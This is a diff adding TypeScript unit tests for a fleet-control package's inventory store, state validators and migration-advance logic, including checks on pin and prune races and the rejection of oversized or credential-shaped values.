+    const result = await store.pruneInventoryGenerations({ limit: 1 });
+    expect(promoted).toBeDefined();
+    expect(inventoryState(db)).toEqual(promoted);
+    expect(result).toEqual({ deleted: 0 });
+  });
+});
+
+describe('inventory pin admission and concurrent reclamation', () => {
+  it('refuses a pin when concurrent pruning wins without leaving an orphan pin', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    await seedGeneration(store, SECOND_OPERATION_ID);
+    const outcomes = await store.withAccountInventoryLease((lease) =>
+      Promise.allSettled([
+        lease.pruneInventoryGenerations({ limit: 1 }),
+        lease.pinGeneration({ generation: 1, pinnedBy: 'reader' }),
+      ]),
+    );
+    expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_pins').all(),
+    ).toEqual([]);
+    expect(outcomes[0]).toEqual({ status: 'fulfilled', value: { deleted: 1 } });
+    expect(outcomes[1]).toEqual({
+      status: 'rejected',
+      reason: new Error('fleet inventory generation 1 is not finalized'),
+    });
+    expect((await store.readFinalizedGeneration(2)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+  });
+
+  it('preserves a generation pinned after pruning selected it', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    await seedGeneration(store, SECOND_OPERATION_ID);
+    const selected = deferred<void>();
+    const release = deferred<void>();
+    const query = db.query.bind(db);
+    db.query = async (sql, bindings) => {
+      const result = await query(sql, bindings);
+      if (sql.includes('ORDER BY r.generation ASC')) {
+        selected.resolve();
+        await release.promise;
+      }
+      return result;
+    };
+    await store.withAccountInventoryLease(async (lease) => {
+      const pruning = lease.pruneInventoryGenerations({ limit: 1 });
+      try {
+        expect(
+          await Promise.race([
+            selected.promise.then(() => true),
+            pruning.then(() => false),
+          ]),
+        ).toBe(true);
+        await lease.pinGeneration({ generation: 1, pinnedBy: 'reader' });
+      } finally {
+        release.resolve();
+      }
+      expect(await pruning).toEqual({ deleted: 0 });
+    });
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT generation, pinned_by FROM anchorage_fleet_inventory_pins',
+        )
+        .all(),
+    ).toEqual([{ generation: 1, pinned_by: 'reader' }]);
+    expect((await store.readFinalizedGeneration(1)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    expect((await store.readFinalizedGeneration(1)).facts).toEqual(
+      DEFAULT_FACTS,
+    );
+  });
+});
+
+describe('inventory retained payload availability', () => {
+  it.each([
+    1, 2,
+  ])('refuses a pin after reclamation expires at payload boundary %s and lets cleanup finish', async (boundary) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    await seedGeneration(store, SECOND_OPERATION_ID);
+    db.beforeStatement = (index) => {
+      if (index === boundary)
+        db.sqlite
+          .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0')
+          .all();
+    };
+    const interrupted = await store
+      .pruneInventoryGenerations({ limit: 1 })
+      .catch((error: unknown) => error);
+    expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe(
+      'finalized',
+    );
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT * FROM anchorage_fleet_inventory_rows WHERE generation = 1',
+        )
+        .all(),
+    ).toEqual([]);
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT * FROM anchorage_fleet_inventory_deployment_facts WHERE generation = 1',
+        )
+        .all(),
+    ).toHaveLength(boundary === 1 ? DEFAULT_FACTS.length : 0);
+    expect(interrupted).toBeInstanceOf(Error);
+    const partial = inventoryState(db);
+    const pin = await store
+      .pinGeneration({ generation: 1, pinnedBy: 'reader' })
+      .catch((error: unknown) => error);
+    expect(inventoryState(db)).toEqual(partial);
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_pins').all(),
+    ).toEqual([]);
+    expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt'));
+    expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({
+      deleted: 1,
+    });
+    expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect((await store.readFinalizedGeneration(2)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    expect((await store.readFinalizedGeneration(2)).facts).toEqual(
+      DEFAULT_FACTS,
+    );
+  });
+
+  it('checks payload availability in the pin write after a complete preflight', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    await seedGeneration(store, SECOND_OPERATION_ID);
+    let partial: unknown;
+    db.beforeBatch = () => {
+      db.sqlite
+        .prepare(
+          'DELETE FROM anchorage_fleet_inventory_rows WHERE generation = 1',
+        )
+        .all();
+      partial = inventoryState(db);
+    };
+    const pin = await store
+      .pinGeneration({ generation: 1, pinnedBy: 'reader' })
+      .catch((error: unknown) => error);
+    expect(partial).toBeDefined();
+    expect(inventoryState(db)).toEqual(partial);
+    expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt'));
+  });
+
+  it('refuses finalization with gapped row ordinals and accepts the completed prefix', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const rows = [
+        stagedRow('registration', 0, { scriptName: 'first-script' }),
+        stagedRow('registration', 2, { scriptName: 'third-script' }),
+      ];
+      const current = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, rows, []),
+        rows,
+        facts: [],
+      });
+      const before = inventoryState(db);
+      const final = await lease
+        .finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          manifest: current.progress.stagedCounts,
+          factCount: 0,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(final).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' does not match its finalize manifest`,
+        ),
+      );
+      const missing = stagedRow('registration', 1, {
+        scriptName: 'second-script',
+      });
+      const complete = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        runRecord: committed(current, [...rows, missing], []),
+        rows: [missing],
+        facts: [],
+      });
+      await lease.finalizeRun({
+        operationId: OPERATION_ID,
+        expectedRevision: 2,
+        manifest: complete.progress.stagedCounts,
+        factCount: 0,
+      });
+    });
+    expect(
+      (await store.readFinalizedGeneration(1)).rows.map((row) => row.ordinal),
+    ).toEqual([0, 1, 2]);
+  });
+});
+
+it('refuses an existing pin over payloads made unreadable before this call', async () => {
+  const db = new MemoryD1();
+  const store = newStore(db);
+  await seedGeneration(store);
+  await seedGeneration(store, SECOND_OPERATION_ID);
+  await db.execute(
+    "UPDATE anchorage_fleet_inventory_rows SET ordinal = 1 WHERE generation = 1 AND kind = 'registration'",
+  );
+  await db.execute(
+    'INSERT INTO anchorage_fleet_inventory_pins (account_id, generation, pinned_by, pinned_at_ms) VALUES (?, 1, ?, 0)',
+    ['account-primary', 'reader'],
+  );
+  const before = inventoryState(db);
+  const pin = await store
+    .pinGeneration({ generation: 1, pinnedBy: 'reader' })
+    .catch((error: unknown) => error);
+  expect(inventoryState(db)).toEqual(before);
+  expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt'));
+  await store.releasePin({ generation: 1, pinnedBy: 'reader' });
+  expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({
+    deleted: 1,
+  });
+});
diff --git a/packages/fleet-control/test/fleet-inventory-state.test.ts b/packages/fleet-control/test/fleet-inventory-state.test.ts
new file mode 100644
index 00000000..eedd26a4
--- /dev/null
+++ b/packages/fleet-control/test/fleet-inventory-state.test.ts
@@ -0,0 +1,525 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  assertInventoryFindingValue,
+  assertNoCredentialInInventoryText,
+  canonicalFleetInventoryRunOptions,
+  classifyFleetInventoryRunToken,
+  emptyFleetInventoryRowCounts,
+  FLEET_INVENTORY_STAGE_ORDER,
+  FleetInventoryFindingValueError,
+  type FleetInventoryRunOptions,
+  type FleetInventoryRunRecord,
+  FleetInventoryRunTokenError,
+  FleetInventoryRunTokenFutureError,
+  FleetInventoryRunTokenOperationError,
+  type FleetInventoryStage,
+  FleetInventoryStateError,
+  fleetInventoryGenerationRefFromUnknown,
+  fleetInventoryOptionsDigest,
+  fleetInventoryRunRecordFromUnknown,
+  fleetInventoryStagedFactFromUnknown,
+  fleetInventoryStagedRowFromUnknown,
+  fleetInventoryStageFromUnknown,
+  initialFleetInventoryStage,
+  isInventoryKeyNameShape,
+  nextStage,
+  parseFleetInventoryRunToken,
+} from '../src/fleet-inventory-state.js';
+
+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+
+const CALLER_OPTIONS = {
+  hostRoutingKvId: 'kv-host-routing',
+  databaseNamePrefix: 'anchorage-db',
+  scriptNamePrefix: 'anchorage',
+} as const;
+
+function options(
+  overrides: Partial<FleetInventoryRunOptions> = {},
+): FleetInventoryRunOptions {
+  return { ...canonicalFleetInventoryRunOptions(CALLER_OPTIONS), ...overrides };
+}
+
+function runRecord(
+  overrides: Partial<FleetInventoryRunRecord> = {},
+): FleetInventoryRunRecord {
+  const runOptions = overrides.options ?? options();
+  return {
+    version: 1,
+    operationId: OPERATION_ID,
+    optionsDigest: fleetInventoryOptionsDigest(runOptions),
+    options: runOptions,
+    state: 'staging',
+    progress: {
+      stage: { step: 'host-kv-keys' },
+      generation: 3,
+      revision: 4,
+      stagedCounts: emptyFleetInventoryRowCounts(),
+      factCount: 0,
+      providerRequests: 7,
+    },
+    updatedAt: '2026-08-29T00:00:00.000Z',
+    ...overrides,
+  };
+}
+
+function roundTrips(stages: readonly FleetInventoryStage[]): void {
+  for (const stage of stages) {
+    expect(fleetInventoryStageFromUnknown(structuredClone(stage))).toEqual(
+      stage,
+    );
+  }
+}
+
+describe('fleet inventory state', () => {
+  it('round-trips the host KV, dispatch, and registration stage variants', () => {
+    roundTrips([
+      { step: 'host-kv-keys' },
+      { step: 'host-kv-keys', cursor: 'kv-cursor' },
+      { step: 'host-kv-values', keyOrdinal: 12 },
+      { step: 'dispatch-pages', pageOrdinal: 0 },
+      { step: 'dispatch-pages', cursor: 'page-2', pageOrdinal: 1 },
+      { step: 'registration-checks', registrationOrdinal: 4 },
+      { step: 'registration-postprocess' },
+    ]);
+    expect(() =>
+      fleetInventoryStageFromUnknown({ step: 'host-kv-values' }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips the custom-domain and zone stage variants', () => {
+    roundTrips([
+      { step: 'custom-domains' },
+      { step: 'zone-authority' },
+      { step: 'zone-routes', zoneOrdinal: 0 },
+      { step: 'zone-routes', zoneOrdinal: 2 },
+    ]);
+    expect(() =>
+      fleetInventoryStageFromUnknown({ step: 'zone-routes', zoneOrdinal: -1 }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips the ordinary-script and route-claim stage variants', () => {
+    roundTrips([
+      { step: 'ordinary-scripts' },
+      { step: 'ordinary-scripts', cursor: 'script-cursor' },
+      { step: 'ordinary-script-detail', scriptOrdinal: 9 },
+      { step: 'route-claims' },
+    ]);
+    expect(() =>
+      fleetInventoryStageFromUnknown({
+        step: 'ordinary-scripts',
+        cursor: 'authorization-token',
+      }),
+    ).toThrow(FleetInventoryFindingValueError);
+  });
+
+  it('round-trips the D1, Durable Object, R2, and finalize stage variants', () => {
+    roundTrips([
+      { step: 'd1-databases' },
+      { step: 'do-namespaces' },
+      { step: 'r2-buckets', jurisdictionOrdinal: 0 },
+      { step: 'r2-buckets', jurisdictionOrdinal: 2, startAfter: 'bucket-42' },
+      { step: 'finalize' },
+    ]);
+    expect(() =>
+      fleetInventoryStageFromUnknown({
+        step: 'r2-buckets',
+        jurisdictionOrdinal: 3,
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips a persisted run record', () => {
+    const record = runRecord({
+      progress: {
+        stage: { step: 'r2-buckets', jurisdictionOrdinal: 1 },
+        generation: 2,
+        revision: 11,
+        stagedCounts: { ...emptyFleetInventoryRowCounts(), finding: 3 },
+        factCount: 5,
+        lastPageDigest: 'a'.repeat(64),
+        providerRequests: 41,
+      },
+    });
+    expect(fleetInventoryRunRecordFromUnknown(structuredClone(record))).toEqual(
+      record,
+    );
+  });
+
+  it('refuses a run record with an unexpected or missing key', () => {
+    expect(() =>
+      fleetInventoryRunRecordFromUnknown({ ...runRecord(), extra: 1 }),
+    ).toThrow(FleetInventoryStateError);
+    const { updatedAt: _updatedAt, ...missing } = runRecord();
+    expect(() => fleetInventoryRunRecordFromUnknown(missing)).toThrow(
+      FleetInventoryStateError,
+    );
+    expect(() =>
+      fleetInventoryRunRecordFromUnknown({
+        ...runRecord(),
+        optionsDigest: 'b'.repeat(64),
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips a finalized generation reference', () => {
+    const ref = {
+      generation: 7,
+      operationId: OPERATION_ID,
+      finalizedAtMs: 1_788_000_000_000,
+      rowManifest: { ...emptyFleetInventoryRowCounts(), deployment: 2 },
+      factCount: 6,
+    };
+    expect(
+      fleetInventoryGenerationRefFromUnknown(structuredClone(ref)),
+    ).toEqual(ref);
+    expect(() =>
+      fleetInventoryGenerationRefFromUnknown({ ...ref, generation: 0 }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips staged rows and facts with exact keys', () => {
+    const row = {
+      kind: 'finding' as const,
+      ordinal: 3,
+      payload: { detail: "registered script 'edge' could not be inspected" },
+    };
+    const fact = {
+      deploymentOrdinal: 1,
+      factKind: 'secret-name' as const,
+      factOrdinal: 0,
+      payload: { name: 'ANCHORAGE_TOKEN_NAME' },
+    };
+    expect(fleetInventoryStagedRowFromUnknown(structuredClone(row))).toEqual(
+      row,
+    );
+    expect(fleetInventoryStagedFactFromUnknown(structuredClone(fact))).toEqual(
+      fact,
+    );
+    expect(() =>
+      fleetInventoryStagedRowFromUnknown({ ...row, extra: true }),
+    ).toThrow(FleetInventoryStateError);
+    expect(() =>
+      fleetInventoryStagedFactFromUnknown({
+        deploymentOrdinal: 1,
+        factKind: 'secret-name',
+        payload: {},
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('round-trips a bounded run token', () => {
+    const token = {
+      version: 1 as const,
+      operationId: OPERATION_ID,
+      revision: 2,
+    };
+    expect(parseFleetInventoryRunToken(structuredClone(token))).toEqual(token);
+    expect(() =>
+      parseFleetInventoryRunToken({ ...token, accountId: 'account' }),
+    ).toThrow(FleetInventoryRunTokenError);
+    expect(() =>
+      parseFleetInventoryRunToken({ ...token, operationId: 'not-a-uuid' }),
+    ).toThrow(FleetInventoryRunTokenError);
+  });
+
+  it('classifies a token generic, operation, future, then stale', () => {
+    const record = runRecord();
+    expect(() =>
+      classifyFleetInventoryRunToken(
+        { version: 2, operationId: OPERATION_ID, revision: 4 } as never,
+        record,
+      ),
+    ).toThrow(FleetInventoryRunTokenError);
+    expect(() =>
+      classifyFleetInventoryRunToken(
+        { version: 1, operationId: OPERATION_ID, revision: 4 },
+        undefined,
+      ),
+    ).toThrow(FleetInventoryRunTokenOperationError);
+    expect(() =>
+      classifyFleetInventoryRunToken(
+        { version: 1, operationId: OPERATION_ID, revision: 5 },
+        record,
+      ),
+    ).toThrow(FleetInventoryRunTokenFutureError);
+    expect(
+      classifyFleetInventoryRunToken(
+        { version: 1, operationId: OPERATION_ID, revision: 4 },
+        record,
+      ),
+    ).toBe('current');
+    expect(
+      classifyFleetInventoryRunToken(
+        { version: 1, operationId: OPERATION_ID, revision: 3 },
+        record,
+      ),
+    ).toBe('stale');
+  });
+
+  it('refuses a run record above the record byte bound', () => {
+    expect(() =>
+      fleetInventoryRunRecordFromUnknown({
+        ...runRecord(),
+        filler: 'x'.repeat(200_000),
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('refuses an over-long string and an over-deep or over-wide payload', () => {
+    expect(() =>
+      fleetInventoryStageFromUnknown({
+        step: 'host-kv-keys',
+        cursor: 'c'.repeat(5_000),
+      }),
+    ).toThrow(FleetInventoryStateError);
+    let deep: Record<string, unknown> = { leaf: 'value' };
+    for (let depth = 0; depth < 70; depth += 1) deep = { nested: deep };
+    expect(() =>
+      fleetInventoryStagedRowFromUnknown({
+        kind: 'meta',
+        ordinal: 0,
+        payload: deep,
+      }),
+    ).toThrow(FleetInventoryStateError);
+    const wide: Record<string, number> = {};
+    for (let index = 0; index < 9_000; index += 1) wide[`k${index}`] = index;
+    expect(() =>
+      fleetInventoryStagedRowFromUnknown({
+        kind: 'meta',
+        ordinal: 0,
+        payload: wide,
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('refuses a staged row payload above the payload byte bound', () => {
+    expect(() =>
+      fleetInventoryStagedRowFromUnknown({
+        kind: 'meta',
+        ordinal: 0,
+        payload: { blob: 'y'.repeat(20_000) },
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('canonicalizes options and resolves both defaults at start', () => {
+    expect(canonicalFleetInventoryRunOptions(CALLER_OPTIONS)).toEqual({
+      hostRoutingKvId: 'kv-host-routing',
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+      includeDispatchNamespace: true,
+      includeR2Buckets: false,
+    });
+    expect(
+      canonicalFleetInventoryRunOptions({
+        databaseNamePrefix: 'anchorage-db',
+        scriptNamePrefix: 'anchorage',
+      }),
+    ).toEqual({
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+      includeDispatchNamespace: false,
+      includeR2Buckets: false,
+    });
+    expect(() =>
+      canonicalFleetInventoryRunOptions({
+        databaseNamePrefix: '',
+        scriptNamePrefix: 'anchorage',
+      }),
+    ).toThrow(
+      'databaseNamePrefix and scriptNamePrefix are required for fleet inventory',
+    );
+  });
+
+  it('canonicalizes an empty host-routing KV id to absent', () => {
+    const canonical = canonicalFleetInventoryRunOptions({
+      hostRoutingKvId: '',
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+    });
+    expect(canonical).toEqual({
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+      includeDispatchNamespace: false,
+      includeR2Buckets: false,
+    });
+    expect(Object.hasOwn(canonical, 'hostRoutingKvId')).toBe(false);
+    expect(initialFleetInventoryStage(canonical)).toEqual({
+      step: 'custom-domains',
+    });
+  });
+
+  it('keeps the options digest stable under caller key reorder', () => {
+    const forward = canonicalFleetInventoryRunOptions({
+      hostRoutingKvId: 'kv-host-routing',
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+      includeR2Buckets: true,
+    });
+    const reordered = canonicalFleetInventoryRunOptions({
+      includeR2Buckets: true,
+      scriptNamePrefix: 'anchorage',
+      databaseNamePrefix: 'anchorage-db',
+      hostRoutingKvId: 'kv-host-routing',
+    });
+    expect(fleetInventoryOptionsDigest(reordered)).toBe(
+      fleetInventoryOptionsDigest(forward),
+    );
+  });
+
+  it('changes the options digest on any option change', () => {
+    const base = fleetInventoryOptionsDigest(options());
+    const digests = [
+      base,
+      fleetInventoryOptionsDigest(options({ hostRoutingKvId: 'kv-other' })),
+      fleetInventoryOptionsDigest(options({ databaseNamePrefix: 'other-db' })),
+      fleetInventoryOptionsDigest(options({ scriptNamePrefix: 'other' })),
+      fleetInventoryOptionsDigest(options({ includeDispatchNamespace: false })),
+      fleetInventoryOptionsDigest(options({ includeR2Buckets: true })),
+    ];
+    expect(new Set(digests).size).toBe(digests.length);
+  });
+
+  it('refuses a row kind outside the staged-row vocabulary', () => {
+    expect(() =>
+      fleetInventoryStagedRowFromUnknown({
+        kind: 'secret-value',
+        ordinal: 0,
+        payload: {},
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('refuses a fact kind outside the deployment-fact vocabulary', () => {
+    expect(() =>
+      fleetInventoryStagedFactFromUnknown({
+        deploymentOrdinal: 0,
+        factKind: 'secret-value',
+        factOrdinal: 0,
+        payload: {},
+      }),
+    ).toThrow(FleetInventoryStateError);
+  });
+
+  it('skips every host-routing stage when no KV id is configured', () => {
+    const withoutKv = canonicalFleetInventoryRunOptions({
+      databaseNamePrefix: 'anchorage-db',
+      scriptNamePrefix: 'anchorage',
+    });
+    const counts = { ...emptyFleetInventoryRowCounts(), registration: 4 };
+    expect(initialFleetInventoryStage(withoutKv)).toEqual({
+      step: 'custom-domains',
+    });
+    const visited: string[] = [];
+    let stage = initialFleetInventoryStage(withoutKv);
+    for (let step = 0; stage.step !== 'finalize'; step += 1) {
+      if (step >= FLEET_INVENTORY_STAGE_ORDER.length) {
+        throw new Error(
+          `nextStage did not reach 'finalize' within ${FLEET_INVENTORY_STAGE_ORDER.length} successors: stage=${JSON.stringify(stage)}, visited=${JSON.stringify(visited)}`,
+        );
+      }
+      visited.push(stage.step);
+      stage = nextStage(stage, withoutKv, counts);
+    }
+    expect(visited).not.toContain('host-kv-keys');
+    expect(visited).not.toContain('host-kv-values');
+    expect(visited).not.toContain('dispatch-pages');
+    expect(visited).not.toContain('registration-checks');
+    expect(visited).not.toContain('registration-postprocess');
+  });
+
+  it('keeps the registration-postprocess stage when includeDispatchNamespace is false', () => {
+    const attestationOff = options({ includeDispatchNamespace: false });
+    const counts = { ...emptyFleetInventoryRowCounts(), registration: 1 };
+    expect(
+      nextStage(
+        { step: 'registration-checks', registrationOrdinal: 0 },
+        attestationOff,
+        counts,
+      ),
+    ).toEqual({ step: 'registration-postprocess' });
+    expect(attestationOff.includeDispatchNamespace).toBe(false);
+  });
+
+  it('skips the R2 stage when includeR2Buckets is false', () => {
+    const counts = emptyFleetInventoryRowCounts();
+    expect(nextStage({ step: 'do-namespaces' }, options(), counts)).toEqual({
+      step: 'finalize',
+    });
+    expect(
+      nextStage(
+        { step: 'do-namespaces' },
+        options({ includeR2Buckets: true }),
+        counts,
+      ),
+    ).toEqual({ step: 'r2-buckets', jurisdictionOrdinal: 0 });
+  });
+
+  it('rejects over-length, whitespace, and credential-shaped finding values', () => {
+    for (const value of [
+      'a'.repeat(513),
+      'edge worker\nAuthorization: Bearer',
+      'route pattern with space',
+      'Authorization',
+      'x-auth-key',
+      'API_TOKEN=abc',
+      'bearer-of-secrets',
+    ]) {
+      expect(() => assertInventoryFindingValue(value, 'detail')).toThrow(
+        FleetInventoryFindingValueError,
+      );
+    }
+    expect(() =>
+      assertInventoryFindingValue('a'.repeat(513), 'detail'),
+    ).toThrow("inventory finding value for 'detail' is not durable-safe");
+  });
+
+  it('accepts printable inventory values and falls back for a hostile KV key', () => {
+    const idnHostname = new URL('https://xn--bcher-kva.example').hostname;
+    expect(() =>
+      assertInventoryFindingValue(idnHostname, 'routeHostname'),
+    ).not.toThrow();
+    for (const key of ['tenant!prod%v+1=~x', 'tenant.example.test']) {
+      expect(() => assertInventoryFindingValue(key, 'keyName')).not.toThrow();
+      expect(isInventoryKeyNameShape(key)).toBe(true);
+    }
+    const hostile = 'tenant\u0000prod';
+    expect(() =>
+      assertNoCredentialInInventoryText(hostile, 'keyName'),
+    ).not.toThrow();
+    expect(isInventoryKeyNameShape(hostile)).toBe(false);
+  });
+
+  it('routes base64-shaped KV keys to the fallback and still refuses unsafe ones', () => {
+    expect(isInventoryKeyNameShape('QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo')).toBe(
+      false,
+    );
+    expect(isInventoryKeyNameShape('tenant-production.example.test')).toBe(
+      true,
+    );
+    expect(
+      isInventoryKeyNameShape('__anchorage_script__:anchorage-tenant-prod'),
+    ).toBe(true);
+    expect(() =>
+      assertNoCredentialInInventoryText('k'.repeat(513), 'keyName'),
+    ).toThrow(FleetInventoryFindingValueError);
+    expect(() =>
+      assertNoCredentialInInventoryText('bearer-eyJhbGciOi', 'keyName'),
+    ).toThrow(FleetInventoryFindingValueError);
+  });
+
+  it('accepts long dotless script names and dispatch namespaces', () => {
+    for (const value of [
+      'my-long-script-name-12345678901234',
+      'anchorage-dispatch-namespace-production-primary',
+    ]) {
+      expect(() =>
+        assertInventoryFindingValue(value, 'scriptName'),
+      ).not.toThrow();
+    }
+  });
+});
diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts
new file mode 100644
index 00000000..370814bc
--- /dev/null
+++ b/packages/fleet-control/test/fleet-migration-advance.test.ts
@@ -0,0 +1,4621 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { describe, expect, it } from 'vitest';
+import { applicationBindingTopology } from '../src/application-bindings.js';
+import type { FinalizedOrdinaryStateProvider } from '../src/backend-switch.js';
+import {
+  admitFleetMigrationItem,
+  assertFleetMigrationPlanCompatibility,
+  assertMigratingCarrierState,
+  executeNextMigrationStep,
+  migrateFleet,
+} from '../src/fleet.js';
+import {
+  type AdvanceFleetMigrationOptions,
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  type FleetMigrationAdvanceAction,
+  FleetMigrationAdvanceCapabilityError,
+  type FleetMigrationAdvanceResult,
+  readFleetMigrationItemsPage,
+} from '../src/fleet-migration-advance.js';
+import {
+  type FleetMigrationItem,
+  type FleetMigrationStep,
+  fleetMigrationItemFromUnknown,
+} from '../src/fleet-migration-state.js';
+import {
+  canonicalFleetOperationBytes,
+  FLEET_OPERATION_INTAKE_BYTE_BOUND,
+  FLEET_OPERATION_ITEM_BOUND,
+  FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+  FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationRowKind,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  FleetOperationTokenFutureError,
+  FleetOperationTokenKindError,
+  FleetOperationTokenOperationError,
+  fleetOperationIntakeDigest,
+  fleetOperationOtherKindMessage,
+  fleetOperationPageLimit,
+  fleetOperationRunRecordFromUnknown,
+  fleetOperationStagedRowFromUnknown,
+  fleetOperationWatermarkRunMessage,
+} from '../src/fleet-operation-state.js';
+import {
+  canonicalDeploymentEgressPolicy,
+  durableObjectMigrationHistoryDigest,
+  externalEgressProxyScriptName,
+  externalPlatformResourceGroupId,
+  externalStateScriptName,
+} from '../src/platform-resources.js';
+import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  ApplicationBindingTopology,
+  BridgeMutationPlan,
+  BridgeSnapshot,
+  DeploymentSecrets,
+  DeploymentSpec,
+  ExternalPlatformResources,
+  ExternalPlatformTargetDescription,
+  ExternalReleaseSnapshot,
+  FleetRecord,
+  FleetStateLease,
+  FleetStateStore,
+  LiveDeployment,
+  MaintenanceHealth,
+  ProvisioningBackend,
+} from '../src/types.js';
+import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js';
+
+const NOW = Date.parse('2026-09-05T12:00:00.000Z');
+const KEY =
+  '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
+const EMPTY_APPLICATION: ApplicationBindingTopology = {
+  vars: [],
+  secrets: [],
+  r2Buckets: [],
+};
+const HEALTHY: MaintenanceHealth = {
+  armed: true,
+  nextAlarmAt: NOW + 60_000,
+  lastSweepAt: NOW,
+  lastPurgeAt: NOW,
+};
+const SECRETS: DeploymentSecrets = {
+  deploymentIdentity: 'migration-identity-private-value-00000001',
+  maintenanceAdmin: 'migration-maintenance-private-value-00001',
+};
+const unused = async (): Promise<never> => {
+  throw new Error('unexpected provider operation');
+};
+const uuid = (seed = 1) =>
+  `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`;
+const copy = <T>(value: T): T => JSON.parse(JSON.stringify(value)) as T;
+const conflict = (id: string) =>
+  new Error(`fleet operation '${id}' is no longer at the expected revision`);
+const divergence = (id: string) =>
+  new Error(
+    `fleet operation '${id}' staged rows diverge from the persisted operation`,
+  );
+
+function payloadBytes(row: FleetOperationStagedRow): string {
+  return row.rowKind === 'record'
+    ? canonicalFleetOperationBytes(row.payload)
+    : JSON.stringify(row.payload);
+}
+
+class MemoryOperationStore implements FleetOperationStore {
+  readonly operations = new Map<string, FleetOperationRunRecord>();
+  readonly rows = new Map<string, FleetOperationStagedRow[]>();
+  readonly digests = new Map<string, string>();
+  readonly heads = new Map<FleetOperationKind, string>();
+  readonly locked = new Set<FleetOperationKind>();
+  readonly calls: string[] = [];
+  readonly commits: Parameters<FleetOperationLease['commitProgress']>[0][] = [];
+  readonly failures: Parameters<FleetOperationLease['failOperation']>[0][] = [];
+  loseLease = false;
+  loseCommit: 'before' | 'after' | undefined;
+  stageLimit: number | undefined;
+  beforeLease: (() => void) | undefined;
+  beforeCommit:
+    | ((input: Parameters<FleetOperationLease['commitProgress']>[0]) => void)
+    | undefined;
+  beforePage: (() => void) | undefined;
+  beforeFail: (() => void) | undefined;
+  reversePages = false;
+
+  async withAccountOperationLease<T>(
+    kind: FleetOperationKind,
+    run: (lease: FleetOperationLease) => Promise<T>,
+  ): Promise<T> {
+    this.beforeLease?.();
+    if (this.locked.has(kind)) throw new Error(`contended ${kind} lease`);
+    this.locked.add(kind);
+    const assertOwned = async () => {
+      if (this.loseLease) throw new Error('operation lease lost');
+    };
+    try {
+      return await run({
+        assertOwned,
+        readOperation: async (id) => this.operations.get(id),
+        startOperation: async (input) => {
+          await assertOwned();
+          this.calls.push('start');
+          const prior = this.operations.get(input.operationId);
+          if (prior) {
+            if (prior.kind !== kind)
